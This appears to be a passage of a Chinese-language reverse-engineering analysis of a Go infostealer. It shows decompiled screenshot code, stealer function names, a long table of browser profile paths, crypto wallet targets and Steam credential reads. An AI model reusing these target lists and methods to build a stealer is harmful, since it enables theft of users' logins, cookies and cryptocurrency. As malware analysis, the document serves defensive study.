    CompatibleDC = github_com_lxn_win_CreateCompatibleDC(v61);
    if ( CompatibleDC )
    {
        v58 = CompatibleDC;
        v71[0] = salat_screenshot_Capture_deferwrap2;
        v71[1] = CompatibleDC;
        v84 = v71;
        runtime_deferprocStack(v83);
        if ( v11 )
        {
            runtime_deferreturn(v31);
        }
        else
        {
            CompatibleBitmap = github_com_lxn_win_CreateCompatibleBitmap(v61, a3, a4);
            if ( CompatibleBitmap )
            {
                v66 = CompatibleBitmap;
                v70[0] = salat_screenshot_Capture_deferwrap3;
                v70[1] = CompatibleBitmap;
                v82 = v70;
                runtime_deferprocStack(v81);
                if ( v12 )
                {
                    runtime_deferreturn(v32);
                }
                else
                {
                    memset(v60, 0, sizeof(v60));
                    v60[0] = 40;
                    v60[3] = 2097153;
                    v60[1] = a3;
00317BA1 salat_screenshot.Capture:148 (7387A1)
```



```
result._r0[2] = v45;
runtime_deferreturn(v37);
return result;
}
v67[0] = salat_screenshot_Capture_deferwrap6;
v67[1] = v58;
v67[2] = v49;
v76 = v67;
runtime_deferprocStack(v75);
if ( v15 )
{
    runtime_deferreturn(v33);
}
else if ( github_com_lxn_win_BitBlt(v58, 0, 0, a3, a4, v61, a1, a2, 13369376) )
{
    if ( a5 )
    {
        memset(v64, 0, sizeof(v64));
        v64[0] = 20;
        v91[6] = (int)v64;
        v73 = (int)v64;
        if ( syscall_SyscallN(dword_FE331C, (int)&v73, 1, 1) )
        {
            if ( v64[1] == 1 )
            {
                memset(v65, 0, sizeof(v65));
                github_com_lxn_win_GetIconInfo(v64[2], (int)v65);
                v63 = v64[3] - a1;
                v62 = v64[4] - a2;
                memset(v91, 0, 24);
                github_com_lxn_win_GetObject(v65[4], 24, (int)v91);
                github_com_lxn_win_DrawIconEx(v58, v63, v62, v64[2], v91[1], v91[2], 0, 0, 3);
            }
        }
    }
}
00337AC6 salat_screenshot.Capture:214 (7386C6)
```

获取浏览器数据

	main_Steal	.text	008E5D20
	main_getGecko	.text	008EAB00
	main_getGeckoLogins	.text	008EADF0
	main_getGeckoCookies	.text	008EB300
	main_getGeckoCookies_deferwrap2	.text	008EB9C0
	main_getGeckoCookies_deferwrap1	.text	008EBA00
	main_getDiscord	.text	008EBA40
	main_getDiscord_deferwrap1	.text	008EC2C0
	main_getChromeAutofils	.text	008EC310
	main_getChromeAutofils_deferwrap2	.text	008ED760
	main_getChromeAutofils_deferwrap1	.text	008ED7A0
	main_getChromeToken	.text	008ED7E0
	main_getChromeToken_deferwrap1	.text	008EED00
	main_decodeSteam	.text	008EED40
	main_decodeSteam_deferwrap1	.text	008EEFF0

使用Not-Cyrus/Login-Stealer 开源库解密数据

涉及的目录

Browser Chromium	Google Chrome	%localappdata%\Google\Chrome\User Data
Browser Chromium	Google Chrome SxS	%localappdata%\Google\Chrome SxS\User Data
Browser Chromium	Google Chrome x86	%localappdata%\Google(x86)\Chrome\User Data
Browser Chromium	Microsoft Edge	%localappdata%\Microsoft\Edge\User Data
Browser Chromium	Brave	%localappdata%\BraveSoftware\Brave-Browser\User Data
Browser Chromium	Vivaldi	%localappdata%\Vivaldi\User Data
Browser Chromium	Yandex Browser	%localappdata%\Yandex\YandexBrowser\User Data
Browser Chromium	Opera / OperaGX	%APPDATA%\Opera Software\Opera GX Stable\
Browser Chromium	Chromium	%localappdata%\Chromium\User Data
Browser Chromium	Thorium	%localappdata%\Thorium\User Data
Browser Chromium	Comodo Dragon	%localappdata%\Comodo\Dragon\User Data
Browser Chromium	Iridium	%localappdata%\Iridium\User Data
Browser Chromium	Orbitum	%localappdata%\Orbitum\User Data
Browser Chromium	Slimjet	%localappdata%\Slimjet\User Data
Browser Chromium	CentBrowser	%localappdata%\CentBrowser\User Data
Browser Chromium	7Star	%localappdata%\7Star\7Star\User Data
Browser Chromium	Sputnik	%localappdata%\Sputnik\Sputnik\User Data
Browser Chromium	Amigo	%localappdata%\Amigo\User Data

Browser Chromium	Torch	%localappdata%\Torch\User Data
Browser Chromium	CocCoc	%localappdata%\CocCoc\Browser\User Data
Browser Chromium	Uran (uCozMedia)	%localappdata%\uCozMedia\Uran\User Data
Browser Chromium	Epic Privacy Browser	%localappdata%\Epic Privacy
Browser\User Data		
Browser Chromium	Citrio	%localappdata%\CatalinaGroup\Citrio\User Data
Browser Chromium	Elements Browser	%localappdata%\Elements Browser\User Data
Browser Chromium	DCBrowser	%localappdata%\DCBrowser\User Data
Browser Chromium	UR Browser	%localappdata%\UR Browser\User Data
Browser Chromium	QIP Surf	%localappdata%\QIP Surf\User Data
Browser Chromium	Maxthon3	%localappdata%\Maxthon3\User Data
Browser Chromium	K-Melon	%localappdata%\K-Melon\User Data
Browser Chromium	Chedot	%localappdata%\Chedot\User Data
Browser Chromium	Kometa	%localappdata%\Kometa\User Data
Browser Chromium	liebao	%localappdata%\liebao\User Data
Browser Chromium	Coowon	%localappdata%\Coowon\Coowon\User Data
Browser Chromium	Maple	%localappdata%\Maple\User Data
Browser Chromium	Sleipnir 5	%localappdata%\Fenrir
Inc\Sleipnir5\setting\modules\ChromiumViewer		
Browser Chromium	360Browser Local\360Browser\Browser\User Data	
Browser Gecko	Firefox Profile path	
Browser Gecko	SeaMonkey	Profile path
Browser Gecko	Waterfox	Profile path
Browser Gecko	K-Meleon	Profile path
Browser Gecko	Thunderbird	Profile path
Browser Gecko	IceDragon	Profile path
Browser Gecko	Cyberfox	Profile path
Browser Gecko	BlackHawk	Profile path
Browser Gecko	Pale Moon	Profile path
Browser Gecko	Mercury	Profile path

获取BTC

```
.text:00B84AA 018      lea     eax, aMjpeglctrlrctr+3D6h ; "GuardaBitappCoin98FewchaFinnieIconexKai"...
.text:00B84B0 018      mov     [esp+18h+var_10], eax ; int
.text:00B84B4 018      mov     [esp+18h+var_C], 6 ; int
.text:00B84BC 018      call    runtime_mapassign_faststr
.text:00B84C1 018      mov     eax, [esp+18h+var_8]
.text:00B84C5 018      mov     dword ptr [eax+4], 1Ch
.text:00B84CC 018      mov     ecx, dword_F3718
.text:00B84D2 018      test    ecx, ecx
.text:00B84D4 018      jz      short loc_8B84DF
.text:00B84D6 018      mov     ecx, [eax]
.text:00B84D8 018      call    runtime_gcWriteBarrier1
.text:00B84DD 018      mov     [edi], ecx
.text:00B84DF
.text:00B84DF:      loc_8B84DF:      ; CODE XREF: main_map_init_0+2E4↑j
.text:00B84DF 018      lea     ecx, aAbiNewnameTagT+405h ; "Guarda\\Local Storage\\leveldbRoaming\\"...
.text:00B84E5 018      mov     [eax], ecx
.text:00B84E7 018      lea     eax, RTYPE_map_string_string
.text:00B84ED 018      mov     [esp+18h+var_18], eax ; int
.text:00B84F0 018      mov     eax, [esp+18h+var_4]
.text:00B84F4 018      mov     [esp+18h+var_14], eax ; int
.text:00B84F8 018      lea     eax, aMjpeglctrlrctr+9DDh ; "CoinomiBinanceMartianPhantomSafePalSol"
.text:00B84FE 018      mov     [esp+18h+var_10], eax ; int
.text:00B8502 018      mov     [esp+18h+var_C], 7 ; int
.text:00B850A 018      call    runtime_mapassign_faststr
.text:00B850F 018      mov     eax, [esp+18h+var_8]
.text:00B8513 018      mov     dword ptr [eax+4], 17h
.text:00B851A 018      mov     ecx, dword_F3718
.text:00B8520 018      test    ecx, ecx
.text:00B8522 018      jz      short loc_8B852D
.text:00B8524 018      mov     ecx, [eax]
.text:00B8526 018      call    runtime_gcWriteBarrier1
.text:00B852B 018      mov     [edi], ecx
.text:00B852D
.text:00B852D:      loc_8B852D:      ; CODE XREF: main_map_init_0+332↑j
004B78FF 00B854F8: main_map_init_0+308 (Synchronized with Hex View-1)
```

获取Stream 敏感信息

```

.text:008EF42E ; -----
.text:008EF42E
.text:008EF42E loc_8EF42E: ; CODE XREF: main_getSteams+86↑j
.text:008EF42E 1C4 mov     eax, [esp+1C4h+var_1B4]
.text:008EF432 1C4 mov     [esp+1C4h+var_1C4], eax ; int
.text:008EF435 1C4 lea     eax, aMjpeglctr1rctr+1DABh ; "SteamPathPassword:WRONG LENAES ERROR!sa"...
.text:008EF43B 1C4 mov     [esp+1C4h+var_1C0], eax ; int
.text:008EF43F 1C4 mov     [esp+1C4h+var_1BC.tab], 9 ; int
.text:008EF447 1C4 call    golang_org_x_sys_windows_registry_Key_GetStringValue
.text:008EF44C 1C4 mov     eax, [esp+1C4h+var_1AC]
.text:008EF450 1C4 mov     ecx, [esp+1C4h+var_1BC.data]
.text:008EF454 1C4 mov     edx, [esp+1C4h+var_1B4]
.text:008EF458 1C4 test    eax, eax
.text:008EF45A 1C4 jz      short loc_8EF460
.text:008EF45C 1C4 xor     edx, edx
.text:008EF45E 1C4 xor     ecx, ecx
.text:008EF460
.text:008EF460 loc_8EF460: ; CODE XREF: main_getSteams+8C↑j
.text:008EF460 ; main_getSteams+BA↑j
.text:008EF460 1C4 test    edx, edx
.text:008EF462 1C4 jnz     loc_8EF613
.text:008EF468 1C4 lea     eax, aCProgramFilesX ; "c:/program files (x86)/steam/config/"
.text:008EF46E 1C4 mov     [esp+1C4h+var_1C4], eax ; int
.text:008EF471 1C4 mov     [esp+1C4h+var_1C0], 24h ; '$' ; int
.text:008EF479 1C4 call    os_Stat
.text:008EF47E 1C4 mov     eax, [esp+1C4h+var_1B4]
.text:008EF482 1C4 mov     ecx, [esp+1C4h+var_1B0]
.text:008EF486 1C4 mov     edx, dword ptr qword_FC2520
.text:008EF48C 1C4 mov     ebx, dword ptr qword_FC2520+4
.text:008EF492 1C4 mov     [esp+1C4h+var_1C4], eax ; int
.text:008EF495 1C4 mov     [esp+1C4h+var_1C0], ecx ; int
.text:008EF499 1C4 mov     [esp+1C4h+var_1BC.tab], edx ; error
.text:008EF49D 1C4 mov     [esp+1C4h+var_1BC.data], ebx
.text:008EF4A1 1C4 call    os_underlyingErrorIs

```

004EE632 008EF432: main_getSteams+92 (Synchronized with Hex View-1)